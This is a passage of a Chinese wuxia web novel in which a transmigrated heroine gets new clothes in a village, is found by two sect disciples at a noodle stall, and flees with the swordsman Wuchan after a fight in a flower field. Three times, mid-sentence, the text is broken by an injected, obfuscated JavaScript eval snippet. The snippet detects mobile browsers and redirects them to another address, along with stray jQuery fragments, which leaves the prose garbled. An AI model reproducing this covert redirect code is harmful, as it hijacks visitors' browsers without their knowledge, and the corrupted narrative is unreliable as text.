起来。她匆忙间回头望了一眼,只见无忏依旧站在原地,抱着剑,隔着几步的距离静静看着她们。他似乎并无阻拦之意,只是那平静的目光追随着她被拉走的方向。或许,从一开始,穗穗压根没注意到她身后这个存在感奇异、气息冷冽的“大哥哥”。 “娘亲——娘亲!!”穗穗人未到声先至,清脆的童音打破了织坊清晨的宁静。 这是一间不大却整洁明亮的铺面,空气里浮动着棉麻布料特有的干净气息和淡淡的植物染剂味道。各式花色、质地的布匹整齐码放,墙上挂着几件绣工精美的成品衣裙。一位发髻轻挽、衣着素雅利落的女子正背对着门口,俯身整理着案几上的几卷素色丝绸,闻声,她回过头来。 女子约莫三十上下,面容温婉。她先看到了自家毛毛躁躁的女儿,轻声训斥道:“穗穗,娘不是告诉过你,在村里也不可乱跑吗?撞到别人怎么办?”话音未落,她的目光已落到被女儿拉进来的江晚怜身上。 作为“巧手坊”的掌柜,周巧纤的眼力自然不俗。只一眼,她便认出江晚怜身上那件早已污损不堪的裙装,其剪裁方式和隐约可见的织纹,绝非寻常市井布料,倒像是……某些讲究世家才会用的上好绸缎。只是,这么一位本该穿着得体的姑娘,怎会落魄至此,将这身好料子糟蹋成这般模样? “这位姑娘是……?”周巧纤放下手中布料,走上前,语气温和中带着疑惑。 穗穗抢着回答,小脸上一半是愧疚一半是急于弥补的急切:“娘亲……穗穗刚才跑太快,撞到了这位大姐姐,把她漂亮的裙子都弄脏了!你手艺最好,帮大姐姐重新织一身赔给她吧!” 周巧纤闻言,目光再次落到江晚怜那堪称“惨不忍睹”的衣裙上,眼角几不可察地抽动了一下。能把一身上好绸缎弄得又是泥污又是疑似血渍,还有多处勾损……自家女儿这是把人家撞进泥潭又滚了荆棘丛吗?! 穗穗敏锐地感觉到母亲身上散发出的“寒意”,下意识往江晚怜身后缩了缩。 周巧纤深吸一口气,转向江晚怜,脸上已恢复温婉得体的笑容,带着十二分的歉意道:“姑娘,实在对不住,小女穗穗莽撞,是我教导不周……我是这的掌柜,周巧纤。”她又仔细端详了一下江晚怜的身形和气色,语气诚挚地提议:“此事既是穗穗有错在先,弄脏了姑娘的衣衫,若不嫌弃,我按姑娘的尺寸,为您重新裁制一身可好?就当是我们的赔礼,也请姑娘莫要怪罪这孩子。” “啊?这…这怎么好意思?”这种“因祸得福”的好事终于轮到她了!但看着周巧纤诚恳歉然的脸,和旁边穗穗那巴巴望着她的、湿漉漉的眼神,那句“其实这衣服本来就脏,不关穗穗的事”在喉咙里滚了几滚,终究没好意思说出口。 就在江晚怜犹豫着不知该如何回应这份过于实在的“赔礼”时,周巧纤已善解人意地取了软尺过来,微笑道:“姑娘不必觉得过意不去,是我们该做的。您先试试这几匹料子可还喜欢?都是新到的,柔软透气,赶路也便宜。”她指向一旁几卷颜色清雅、质地细密的棉麻布,显然是考虑到江晚怜并非久居村中。 指尖拂过微凉的布料,江晚怜有些恍惚。 她偷偷瞥了一眼门口,那道熟悉的玄色身影不知何时已悄然立在门外一侧的阴影里,抱剑静立,仿佛与这充满生活气息的场景格格不入,却又以一种沉默的姿态守护着这片短暂的平静。他没有进来,也没有催促,只是静静地等待着。 “那……就麻烦周掌柜了。” 11. 还来啊!? 周巧纤的手艺确实名不虚传,动作利落精准。软尺在江晚怜肩、臂、腰身处轻巧移动,几个关键尺寸便被熟记于心。她并未过多询问江晚怜的喜好,只目光快速扫过江晚怜原本衣裙的款式和残留气质,便从架子上挑选了一匹雨过天青色的细棉布,又配了一卷月白的软绸作里衬和镶边。 “姑娘肤白,这青色衬你,款式就做最简单的交领襦裙,宽袖收袂,行动方便,不必担心误了时辰,就一会。”周巧纤一边裁剪,一边温和地说道,语气自然得像是在为自家妹子裁衣。 江晚怜心中感激,安静地配合着。织坊里只有剪刀划过布料的沙沙声,以及门外隐约传来的市井动静,她忍不住又瞥向门口,那道玄影依旧静静地伫立在那里,仿佛一尊沉默的守护石像,将坊内的安宁与坊外的世界悄然隔开。 周巧纤飞针走线,速度极快,显然是做惯了活计的。她甚至抽空为江晚怜打来一盆清水,取了块干净布巾:“姑娘若不介意,可先去后面小间稍作梳洗,这身衣衫……穿着想必也不舒服。”她指了指店铺角落一道布帘后。 江晚怜脸微微一红,道了谢,接过布巾和水盆。帘后是个极小但整洁的空间,有一面模糊的铜镜。她仔仔细细地擦洗了脸和手臂,将打结的长发勉强用手指梳理顺了些,水中倒影映出一张清瘦了些、却意外少了些惊惶的脸。她看着镜中的自己,有些陌生。穿越以来,似乎第一次有机会稍稍喘口气,处理一下这狼狈不堪的形容。 待她收拾好出来,周巧纤手中的衣裙已初见雏形。又过了约莫半个时辰,一件崭新的、针脚细密整齐的衣裙便递到了江晚怜手中。触手柔软,带着阳光和皂角的洁净气息。 “试试看合不合身,若有哪里不妥,我立刻改。”周巧纤微笑道。 江晚怜抱着衣服,再次看向门口,无忏依然站在那里,连姿势都未曾变过。她犹豫了一下,还是抱着衣服回了小间。换上那身天青色襦裙,月白的领缘和袖口恰到好处地勾勒出身形,棉布柔软亲肤,宽袖轻盈。虽是最简单的样式,却将她身上那股属于“江晚怜”的骄纵戾气洗去了大半,反而显出一种山野风雨后初晴般的清丽与……一点点罕见的恬静。 她有些局促地掀开布帘走出来。周巧纤眼睛一亮,赞道:“果然合衬,姑娘穿这颜色好看。”连一直在旁边偷偷张望的穗穗也拍着小手:“大姐姐好漂亮!比刚才漂亮多了!” 江晚怜被夸得有些不好意思,低头看了看自己,确实焕然一新。她郑重地向周巧纤道谢:“多谢周掌柜,衣服我很喜欢,手工钱……” 周巧纤连忙摆手:“说好了是赔礼,姑娘再提钱,就是打我的脸了…周穗穗!还不给姐姐道歉?” 穗穗立刻站直,像模像样地行了个礼:“大姐姐对不起,下次穗穗一定慢慢走!” 江晚怜心中温暖,摸了摸穗穗的头:“没关系,姐姐也有错……谢谢周掌柜。”她将自己那身破烂不堪的旧衣小心叠好,正欲准备带走找个地方丢了,却被周纤巧拦住了。 “姑娘等等,这身衣裳布料实属难得,若姑娘不介意……这衣裳给我好了。”她两眼放光的盯着江晚怜,纵使江晚怜不知道她要拿自己这破烂不堪的衣服干什么,但看周纤巧这样炽热的目光看着—— “那、那给你好了。” 她走出织坊,午后的阳光正好,没想到周纤巧的制衣速度如此之快,江晚怜当时还想着要是误了无忏的时辰,惹他不快………她摇摇头打散这想法,一抬眼,便对上了无忏望过来的目光。 他的视线在她身上那袭新衣停留了一瞬,很快便移开了,依旧没什么表情,只是极轻微地点了下头。依旧是那个平淡无波的“还行”标准,但江晚怜莫名就是觉得,他应该是觉得……还算顺眼。 “解决了?”他问。 “嗯。”江晚怜点头:“周掌柜人很好,手艺也好……没耽误你吧?” “无碍。”无忏不再多言,转身朝着村落另一头走去,那边似乎有炊烟更密集些,应是村中食肆聚集之处。江晚怜连忙跟上,换了新衣,连带着看这寻常村落都觉得可爱起来。她目光流连在路旁售卖竹编、干花、新鲜果蔬的小摊上,虽然身无分文,仅有的银钱都是无忏的她也不好意思花,但光是看着这鲜活的市井气,也觉得有趣。 无忏在一处挂着简陋酒旗、门口摆着几张木桌的食棚前停下,此时已过正午最热闹的时候,食客不多,只有两三个看起来像是行脚商人的男子在埋头吃面。店家是一对老夫妇,见到客人,热情地招呼。 无忏要了两碗素面,便在靠边一张桌子旁坐下。江晚怜在他对面坐下,忍不住小声问:“我们……在这里吃饭,没问题吗?”她总觉得李子遥和叶玖随时会从某个街角冒出来。 “饿了。”无忏的回答言简意赅,仿佛“吃饭”是此刻天经地义的头等大事,其他风险都需为此让路。他连剑都未曾解下,只是将剑横放在膝上,异色的眸子平静地扫过食棚内外,那姿态与其说是放松,不如说是一种随时可以应对任何突发状况的、内敛的警戒。 热腾腾的素面很快端了上来,清汤寡水,飘着几片菜叶,但那香气对于啃了多日野果冷食的两人来说,已是极大的诱惑。腌菜爽脆,带着农家特有的粗粝咸香。江晚怜起初还有些拘谨,小口吃着,但胃里暖意上来,速度便不自觉加快了。无忏吃得依旧斯文而迅速,动作间带着某种刻入骨子里的、与这简陋环境格格不入的仪态。 一碗热汤面下肚,江晚怜觉得身体都舒坦起来,连带着连日奔波的疲惫都消散了不少。她偷偷打了个小小的饱嗝,连忙掩住口,有些不好意思地看向无忏,无忏正放下筷子,用布巾擦拭嘴角,对她的失仪恍若未见。 “结账。”无忏放下一小块碎银。 老掌柜笑眯眯地接过,正要找零,无忏却摆了摆手:“不必。” 就在老掌柜连声道谢时,食棚外那条通向村口的主路上,由远及近传来一阵清脆的马蹄声,以及年轻男女隐约的交谈声。那声音…… 江晚怜背对着路口,起初并未在意,直到她看见对面无忏原本随意搭在剑柄上的手指,几不可察地收紧了一瞬,异色的眼眸微微抬起,看向了她的身后——食棚外的方向。 她心头猛地一跳,一种不祥的预感瞬间攫住了她。她僵硬地,一点一点地转过头。 两匹颇为神骏的马匹正缓辔行来,停在了食棚斜对面一家看起来稍显干净些的茶铺前。马上一男一女先后利落地翻身下马:男子身着青色劲装,剑眉星目,身姿挺拔,正是李子遥!而他身旁,鹅黄衣衫,清丽面容上带着一丝长途跋涉后的淡淡疲惫与凝思的,就是叶玖!? 真是怕什么来什么! 江晚怜瞬间觉得刚刚下肚的那碗热面变成了冰碴子,堵在心口。她猛地转回头,恨不得把脸埋进空碗里,心脏在胸腔里狂跳起来。完了完了,怎么就这么巧!他们怎么会在这里?是追踪而来,还是仅仅路过歇脚? 她紧张得手指都在微微发抖,下意识地看向无忏,用眼神疯狂示意:怎么办?快走? 无忏却比她平静得多,他甚至没有再看那边,只是伸手,拿起手边的粗陶茶碗,慢条斯理地呷了一口。整个动作自然流畅,仿佛只是饭后寻常的休憩,唯有那双低垂的眼眸深处,掠过一丝冰冷的锐意。 他没有立刻离开的意思。 是因为此时起身反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16987729|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更引人注目?还是……另有打算? 江晚怜不敢再乱看,只能学着无忏的样子,低头盯着自己的碗,耳朵却竖得尖尖的,捕捉着那边的一切动静。 一个让她遍体生寒的漫画情节,猛地撞进脑海——“望舒村外,花海染血。无忏伤重未愈,于村口再遇李、叶二人,激斗数十合,终以左肩添新创为代价,借花海高丛遁走。” 打斗、负伤、狼狈逃离……这些关键词像冰锥一样扎着她。虽然先前在栖鹊镇,她这个“变数”似乎让无忏避开了原本的伤势,可该来的“碰面”,终究还是躲不过么? 她几乎能想象出漫画下一格可能出现的画面:剑气搅碎缤纷落英,鲜血溅上无辜的茶桌,而她自己,要么被殃及池鱼,要么成为迫使无忏分心的累赘……无论哪种,都糟透了。 李子遥和叶玖似乎并未立刻注意到食棚这边。他们将马拴好,走进了茶铺。隐约能听到李子遥在向掌柜打听:“……请问掌柜,近日可曾见过一男一女从此路过?男子约莫十八九岁,穿着黑衣,眼睛……有些特别。女子年纪相仿,可能衣着不甚光鲜……” 茶铺掌柜的回应模糊不清,似乎是在摇头。 江晚怜的心提到了嗓子眼,他们果然在找!而且描述得如此准确! 叶玖的声音接着响起,比李子遥更清冷些,也带着一丝不易察觉的滞涩:“……尤其是那女子,若见到,请务必留意。” “女子”二字被她轻轻咬住,像在斟酌一个难以启齿的谜题。江晚怜后背一僵,果然!叶玖的重点在她身上。是因为江家灭门夜唯一的“幸存者”太过蹊跷,还是因为……那个曾经骄纵的“江晚怜”如今与杀手并肩而行,本身就已罪加一等? 冰冷的绝望顺着脊椎爬升。望舒村就这么大,他们这般明察暗访,自己和身边这个行走的“标志物”根本无处遁形。 就在她几乎要被这无声的压力碾碎时,一直安静喝茶的无忏,忽然放下了茶碗。 一声轻响,碗底与木桌严丝合缝地贴合,声音不大,却在江晚怜紧绷的神经上重重一敲。 他抬起眼。目光不再收敛,平静得近乎漠然,越过江晚怜低垂的发顶,笔直地刺向茶铺内。 那一瞬,仿佛有无形的弦被同时拨动。 茶铺里,正侧耳倾听掌柜回话的李子遥,身形骤然一顿。某种属于顶尖剑客的直觉让他猛地扭头。 隔着十几步的距离,两人四目相对。 空气霎时凝固,食棚边懒洋洋晒太阳的土狗似乎都察觉到了什么,耳朵竖起,停止了摇摆。 李子遥脸上的表情急剧变幻——先是纯粹的意外,似乎没料到追寻的目标会如此堂而皇之地坐在路边吃面;随即,意外被喷薄的敌意与锐利取代,右手已本能地按上剑柄,指节收紧。他身旁的叶玖反应更快,几乎在李子遥转头的瞬间已旋身,鹅黄色的身影带起一阵微寒的风,当她的视线捕捉到无忏那张毫无波澜的脸时,清丽面容上最后一丝属于旅途的疲色瞬间冻结,化作凛冬寒霜。 然而,当她的目光不由自主地移向无忏对面—— 那个穿着崭新天青色衣裙、背影僵硬、连发丝都透出惊恐的女子时,叶玖那双总是清明坚定的眼眸里,瞳孔骤然紧缩,仿佛看到了比无忏更令她震惊、更难以理解的东西。复杂的情绪如同投入冰湖的石子,在她眼底激起压抑的涟漪:惊疑、审视,还有一丝被强行压下的、属于过往纠葛的冰冷怒意。 江晚怜背对着一切,却比亲眼所见更清晰地“感受”到了那两道目光。一道灼热如烙铁,充满了正邪不两立的凛然敌意;另一道则冰冷如手术刀,试图剥开她的皮囊,审视内里每一个可疑的细胞。 12. 跑跑跑跑跑 “啧。” 一声极轻的、几乎散在风里的咂舌声,从无忏紧抿的唇缝里挤出来。 走!快走啊!她在心里疯狂呐喊,腿却像灌了铅,钉在原地。要命的原剧情像走马灯一样在脑子里转——花海染血,左肩添创……难道今天非得把这段补上?! 就在她几乎要被这无声的对峙逼得窒息时,身旁忽然响起椅子腿摩擦地面的轻微刮擦声。 无忏站起来了。 动作不快,甚至称得上从容。他拿起膝上的剑,手指拂过剑鞘上并不存在的灰尘,然后,看也没看茶铺方向,只是微微侧身,对依旧僵坐着的江晚怜投去一瞥。 那眼神里没有任何催促或责备,平静得像一潭深不见底的寒水,却莫名让江晚怜乱跳的心脏稳了一瞬。 “发什么呆?”他开口,声音不高不低,恰好能让这边听清,语气平淡得像在陈述一个事实:“面也吃了,该走了。” 说完,他竟真的迈开步子,不是朝着预定的出村小路,也不是慌不择路地逃跑,而是径直朝着食棚通往主路、离茶铺更近的那个豁口走去! 江晚怜目瞪口呆,脑子里只剩下一个念头:他疯了?! 李子遥和叶玖显然也没料到他会是这个反应。李子遥按在剑柄上的手背青筋微凸,眼神锐利如鹰隼,死死锁定着无忏每一步的落点,叶玖的右手也垂在身侧,指尖几不可察地动了动,那是她随时可以抽出腰间软剑的预备姿势。 然而,无忏只是步伐稳健,不快不慢,朝他们走去。他没有做出任何戒备的姿态,仿佛身后那两位名门正派的年轻翘楚,与路边的石子无异。 江晚怜猛地回过神,几乎是手脚并用地从凳子上弹起来,踉跄了一下,连忙跟上去。她不敢靠太近,也不敢离太远,低着头,死死盯着无忏的脚跟,恨不得把自己缩成一团空气。 她能感觉到,李子遥和叶玖的目光如同实质的探针,紧紧追随着他们,尤其是她自己。那目光里的重量几乎让她喘不过气。 一步,两步,三步……他们就这么在对方冰冷警惕的注视下,走出了食棚,踏上了主路的青石板。 就在江晚怜以为无忏会直接无视对方、扬长而去时,他却忽然停住了。 停在了距离茶铺门口,仅仅五步之遥的地方。 他侧过身,终于将目光,平平地投向了茶铺内的两人。 午后的阳光落进他异色的眼眸,左眼的血色被映得浅淡,右眼的翠绿却愈发幽深。他周身那股一直内敛的、冰寒的气息,无声地弥漫开来,连带着这一小片区域的气温都仿佛骤降了几度。 “凌云门,”他开口,声音不高,却清晰地穿透了凝滞的空气:“什么时候也要管闲事了?” 李子遥脸色一沉,踏前一步,挡在叶玖身前,声音带着少年人特有的清朗与毫不掩饰的敌意:“无忏!江家灭门案尚未查清,你与江家小姐同行,更是疑点重重!我等奉师命追查,岂是‘闲事’?” 无忏的语调微微上扬,带出一丝极淡的、近乎嘲讽的意味:“你们到底是来捕我的…还是来追她的?” 他这话问得直白而尖锐,李子遥被他噎了一下——他们此行,追查江家遗孤与杀手的关系固然是师父下的任务,但擒拿或击杀无忏这个江湖公认的祸患,同样是师门隐而不宣的期望。 叶玖此时轻轻推开李子遥的手臂,上前半步。她的目光先是在江晚怜苍白的侧脸上停留了一瞬,那眼神复杂难明,随即才转向无忏,声音清冷如玉石相击:“无忏,江小姐之事,关乎江家满门血仇,更牵扯诸多疑点,你与她同行,若不给出一个合理的解释,今日,恐怕要见血了。” 她的话比起李子遥,少了几分咄咄逼人,却多了一份不容置疑的坚定和……一丝潜藏的、对“江晚怜”这个存在本身的探究。 无忏看着她,沉默了片刻,风吹过,路旁的绣球花丛微微晃动,抖落几片花瓣。 “解释?”他重复了一遍这个词,似乎觉得有些可笑:“我行事,何需向旁人解释。” 话音未落,他身形骤动! 并非攻向李子遥或叶玖,而是猛地向后一撤步,同时左手探出,一把抓住了身旁还在发懵的江晚怜的后衣领! “卧槽——!” 江晚怜只来得及骂出两个字,整个人便被一股大力提起,像个破布口袋一样被无忏朝着斜后方——那片开得最盛的、足有半人高的鸢尾花丛扔了过去! “啊——!”惊呼声中,她手舞足蹈地跌进繁密的花丛,压倒一片绚烂的蓝紫色,花瓣和叶片劈头盖脸地砸下来。几乎在她落地的同时—— 两道截然不同的利刃出鞘声几乎同时炸响! 李子遥的长剑化作一道雪亮惊鸿,直刺无忏面门!而叶玖的软剑则如蛟龙出海,角度刁钻地缠向无忏下盘!两人配合默契,一上一下,封死了他所有闪避空间。 然而,无忏似乎早有所料,在掷出江晚怜的瞬间,他手中的黑色长剑已然出鞘,没有炫目的剑光,只有一道沉凝如夜色、快得几乎捕捉不到的幽暗弧线。 两声急促的金铁交鸣几乎叠在一起,无忏的剑尖精准无比地点在李子遥剑身力道最薄弱的三寸之处,将其震得偏开半尺,同时剑身顺势下压,以毫厘之差格开了叶玖软剑的缠绕,火星迸溅。 只一招,便同时化解了两人的合击。 李子遥和叶玖心头同时一凛:好快的剑!好刁钻的眼力! 无忏却不恋战,借着一格一挡的反震之力,瞬间拉开了数步距离,恰好退到了江晚怜摔落的花丛边缘。 江晚怜刚从花海里挣扎着爬起来,头发上、肩膀上沾满了花瓣和草叶,新换的天青色衣裙裙摆也染上了斑驳的汁液。她还没来得及骂第二句,就见无忏背对着她,反手将剑鞘往她怀里一塞。 “拿好。”丢下两个字,他头也不回,持剑再次迎上了追击而来的李子遥和叶玖。 江晚怜抱着冰冷的剑鞘,愣了一秒,随即反应过来——他这是把剑鞘给她保管,自己拿着剑去打架了?这算哪门子操作?! 但此刻没时间细想,前方已经再度响起密集的刀剑碰撞声。 “娘亲,外面怎么这么吵啊?”穗穗扶着门,看着外面。 “又想找借口出去?你别想了,这回都惹出祸了!赶紧进屋。”周纤巧有些训斥地说道,手上却还在研究江晚怜那身衣裳的做工。 …… 无忏以一敌二,身形在花海边缘的狭窄空地上鬼魅般闪动。他的剑法没有任何花哨,每一剑都简洁、凌厉、直指要害,速度更是快得惊人,往往在李子遥和叶玖的剑招刚刚起势时,他的剑尖已经指向了他们不得不回防的空门。那种料敌机先、后发先至的打法,逼得两位名门子弟不得不打起十二分精神,联手方能堪堪抵挡。 但江晚伦看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16987730|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得分明,无忏似乎并不想下杀手。他的剑锋每每在即将触及对方要害时便巧妙滑开,更像是在……周旋?或者说,是在寻找脱离战团的时机? “无忏!束手就擒!”李子遥久攻不下,心中焦躁,剑势越发猛烈,带着凌云剑法特有的浩然正气,如长江大河般汹涌压来。 叶玖则更显冷静,她的软剑忽刚忽柔,配合着李子遥的强攻,专攻无忏身法转换间的细微空隙,试图以巧破力,限制他的行动。 三人激斗,剑气纵横,搅得周围花瓣漫天飞舞,如同下了一场蓝紫色的雨。原本宁静的村口主路早已空无一人,村民们躲得远远的,惊恐又好奇地张望。 江晚怜抱着剑鞘,躲在花丛后,心脏狂跳。她看着无忏在两道剑光中穿梭的身影,那玄色的衣袂被剑气割破了几处,但他动作依旧稳如磐石,不见丝毫慌乱。 这样下去不行!江晚伦咬牙。虽然无忏暂时不落下风,但对方有两人,又是名门正派出身,内力悠长,久战之下……而且,万一引来更多人咋办? 她目光急扫四周,忽然落在不远处花田边一条被茂盛花木半掩的、更窄的土径上。那条路似乎通往村子后面更偏僻的山坡。 “无忏!这边!”她顾不上会不会暴露,扯着嗓子喊了一声,同时用力挥了挥手中的剑鞘,指向那条小路。 激斗中的无忏似乎听到了她的呼喊,剑势陡然一变,不再与两人纠缠,黑色长剑爆出一片令人眼花缭乱的剑影,暂时逼退李子遥和叶玖半步,随即他毫不犹豫,足尖一点,朝着江晚怜指的方向疾退。 “想跑?!”李子遥怒喝,提剑欲追。 叶玖比他快了一步,手腕一抖,软剑如同附骨之疽,再次缠向无忏脚踝,这一剑时机刁钻,正是无忏后退途中身形转换的瞬间。 江晚怜看得真切,心一下子提到了嗓子眼。 就在软剑即将触及无忏脚踝的刹那,凌空的身形一扭,竟以一个不可思议的角度让开了这一缠,同时反手一剑,剑尖贴着软剑的剑身疾速上掠。 叶玖一惊,不得不撤剑回防。 而就这耽搁间,无忏已退至江晚怜身边,一手夺回剑鞘,“锵”一声还剑入鞘,另一只手再次拎起她的后领—— “走!” 江晚怜只觉得天旋地转,耳边风声呼啸,整个人被无忏拉着跑,虽然这次好歹不是扔了……朝着那条狭窄土径疾冲而去。 “追!”身后传来李子遥气急败坏的喊声和急促的脚步声。 江晚怜跑得七荤八素,嘴里忍不住又蹦出一句:“我靠……你就不能体谅一下我吗!?”她真的跟不上这种江湖高手的速度,但又被他这么用力拉着,又只能拼了命的跑。 无忏没理她,反而速度更快了,他专挑花木茂盛、路径复杂的地方钻,几个转折,便将身后的人暂时甩开了一段距离。 花海在他们身后迅速远去,前方是更加荒僻的村后山坡和茂密的杂木林。 江晚怜回头望了一眼,已经看不到李子遥和叶玖的身影,只有被他们惊起的鸟雀,扑棱棱飞向天空。 暂时……又逃掉了? 她喘着粗气,心有余悸。低头看看自己又变得些许狼狈的新裙子,再抬头看看无忏依旧没什么表情的侧脸,忍不住小声嘟囔:“……我的新衣服。” 无忏脚步未停,只瞥了她一眼,吐出两个字: “再买。” 13. 等待进入网审 午后的林间光影斑驳,江晚怜瘫坐在倒伏的枯木上,大口喘着气。新换的天青色襦裙沾满了鸢尾花汁和草屑,袖口裙摆还被灌木划破了好几处,虽狼狈,但那抹青色在浓绿背景里依然清新。 “下次……下次能不能提前打个招呼?”她揉着发疼的后颈,声音里带着劫后余生的虚脱:“比如数三二一什么的。” 无忏倚着树干抱剑而立,目光扫过她狼狈的模样,最终落回寂静的来路。 “数到天黑,你也躲不开。”他声音平淡。 “我……”江晚怜被噎得翻了个白眼:“我一个普通人,能跟上你们这种飞檐走壁的…已经超额完成任务了好吗!” 无忏无视她幽怨的表情转而说:“客栈上,你的悬赏居然比我的高了。” 客栈?江晚怜想到,无忏确实在望舒村有一段时间消失了,她回顾起漫画中的情节:他口中的客栈十有八九就是分散于各地的忘尘客栈,虽叫客栈……事实上不过是各路高手获取情报、寻找目标的聚集地。 “所以我现在更值钱了?”她扯了扯破损的裙摆,自嘲地笑了笑:“我这金元宝还带涨价的?” “嗯。”无忏应了一声:“歇一刻钟。” 江晚怜求之不得,立刻瘫在枯木上不想动了。她看着无忏检查四周环境,动作利落而专注。阳光透过枝叶缝隙,落在他玄色的衣袍和束起的黑发上,也落在他侧脸冷硬的线条上。但不知是不是错觉,江晚怜觉得他周身那股生人勿近的冰冷气息,似乎比最初相遇时……淡了那么一丝丝?至少,他没在她累瘫的时候直接说“起来,走”。 “李子遥他们还会追来吧?”她没话找话,试图驱散林间过分的寂静。 “会。”无忏在对面的青石上坐下,长剑横放膝头。 “你很了解他们?”江晚怜忍不住问。 “凌云门这一代最出色的两个,”无忏语气平淡,听不出褒贬:“江湖皆知,行事风格不难判断。” 江晚怜“哦”了一声,林间安静下来,只有风吹树叶的沙沙声,和远处溪流的潺潺水响。这难得的、没有追兵在侧的短暂安宁,让江晚怜紧绷了几日的神经慢慢松弛,她甚至有了闲心观察周围。 “那个……能吃吗?”她指着浆果,肚子适时地咕噜了一声。刚才那碗素面早就在狂奔中消耗殆尽了。 无忏顺着她的手指看去,辨认片刻:“山茱萸。未熟透,酸涩刺喉。” 江晚怜垮下脸,也是…哪能处处都有甜野莓。 无忏看她那失望的样子,沉默了片刻,忽然起身。他走到不远处一棵老树下,用剑鞘拨开茂密的草丛,露出几株叶片肥厚、根部膨大的植物。蹲下身,从怀中拿了把短匕利落地挖出几块沾着湿泥的块茎。在溪水里洗净后,走回来递给她一块。 “这又是什么?”江晚怜接过,块茎灰扑扑的,毫不起眼。 “土茯苓,烤熟可食,饱腹。”无忏说着,便把东西直接丢到了江晚怜手里,自己则是去起火。 江晚怜不解:“你这是干什么?” “……”他侧过头没有看向她,沉默了片刻,才道: “我烤不好。” 就这样,江晚怜就这样莫名烤上了土茯苓,两人隔着微弱的火光对坐,等待食物烤熟。气氛有种古怪的平和,甚至……家常。 “你平常在野外就吃这些?”她问道,毕竟自己在现代看这部漫画的时候,就一直很想知道无忏的日常生活,为此她还去看了各种同人二创。 “想念你之前作为‘江大小姐’的生活了?”无忏有些嘲讽的说道,但这次他多解释了一句:“孤身行走,并非总有集镇客栈,山林旷野,才是常处。” 江晚怜默然。是啊,他这样的人,注定大部分时间都与荒野为伴。就像现在,烤一块灰扑扑的土茯苓,喝几口溪水,便是歇息。 焦香慢慢从灰烬下飘出来,混着泥土炙烤后特有的气味。江晚怜用树枝小心拨弄着,忽然想起夜莺的袭击,想起那枚幽蓝的棱镖:“那个夜莺……还会再来吗?到底是谁,非要买我的命?” 无忏拨动余烬的动作顿了一下。 “会。”他肯定道,声音在寂静的林间格外清晰:“那些人接了单,除非身死,否则不会轻易放弃。至于雇主……”他抬起眼,异色的眸子在跳动的微光映照下深不见底。 “无非那几方,江家仇敌、我的对头、或……不想看到变数的人。” “变数?”江晚怜喃喃重复。 “你活着,便是变数。”无忏说得很直接:“江家灭门夜唯一的活口,还与我这凶手同行。对某些人来说,这本身就不可容忍。” 江晚怜握紧了手中的树枝。她知道他说的“某些人”可能包括谁——那个幕后买凶灭江家满门的人…亦是漫画里尚未浮出水面的人。 ——与此同时,望舒村口,茶铺旁。 “又是这样!”李子遥俊朗的脸上满是不甘和烦躁:“那无忏滑溜得像泥鳅!还有江晚怜……她居然真的跟那魔头一路!” 叶玖没有应声。她蹲在之前无忏和江晚怜停留过的食棚外,仔细查看着地面凌乱的脚印,又抬头望向那条通向村后、被花木半掩的小径,清丽的眉宇间锁着沉思。 “子遥,”她忽然开口,声音有些低:“方才交手,你可觉得……无忏并未尽全力?” 李子遥一愣,回想起来:“似乎……是有些游刃有余,但他剑法本就诡谲,或许只是身法巧妙。” “不止。”叶玖站起身,拍了拍手上的灰尘:“他几次有机会伤你,甚至在我回防稍慢那瞬,剑尖已指向我肋下空门……却都撤了。”她看向李子遥,眼中疑惑更深。 “而且,他将江晚怜掷入花丛,看似鲁莽,实则计算精准,既让她远离战圈,又以花丛为缓冲,未令其重伤。” “那不过是拿她当累赘,随手一丢罢了!”李子遥不以为然。 叶玖却缓缓摇头:“不像,他若真觉得她是累赘,大可在栖鹊镇就丢下,何必带至此处?不对……甚至灭门夜就可以杀了她,方才那情形,他独自脱身反而更容易。” 这些细节很微小,甚至可能只是她的错觉,但组合在一起,却勾勒出一种古怪的、绝非简单的“挟持”或“利用”的关系。 “师父命我们查清江晚怜与无忏的关系,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16990626|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及江家血案真相。”叶玖目光投向远方层叠的山峦,语气坚定:“如今看来,此事远比想象中复杂,江晚怜……她看无忏的眼神,有惧怕,却无深仇,甚至……”甚至有种诡异的依赖。而无忏对她,似乎也并非全然冷漠的工具。 李子遥听她分析,烦躁稍减,也冷静下来:“那我们现在怎么办?追?” “追,但要小心。”叶玖翻身上马:“无忏此人深不可测、江晚怜身上谜团重重,师父说过,查明真相前,不宜贸然下杀手,尤其是对江晚怜。”她顿了顿,补充道。 “或许,她会是解开一切的关键。” 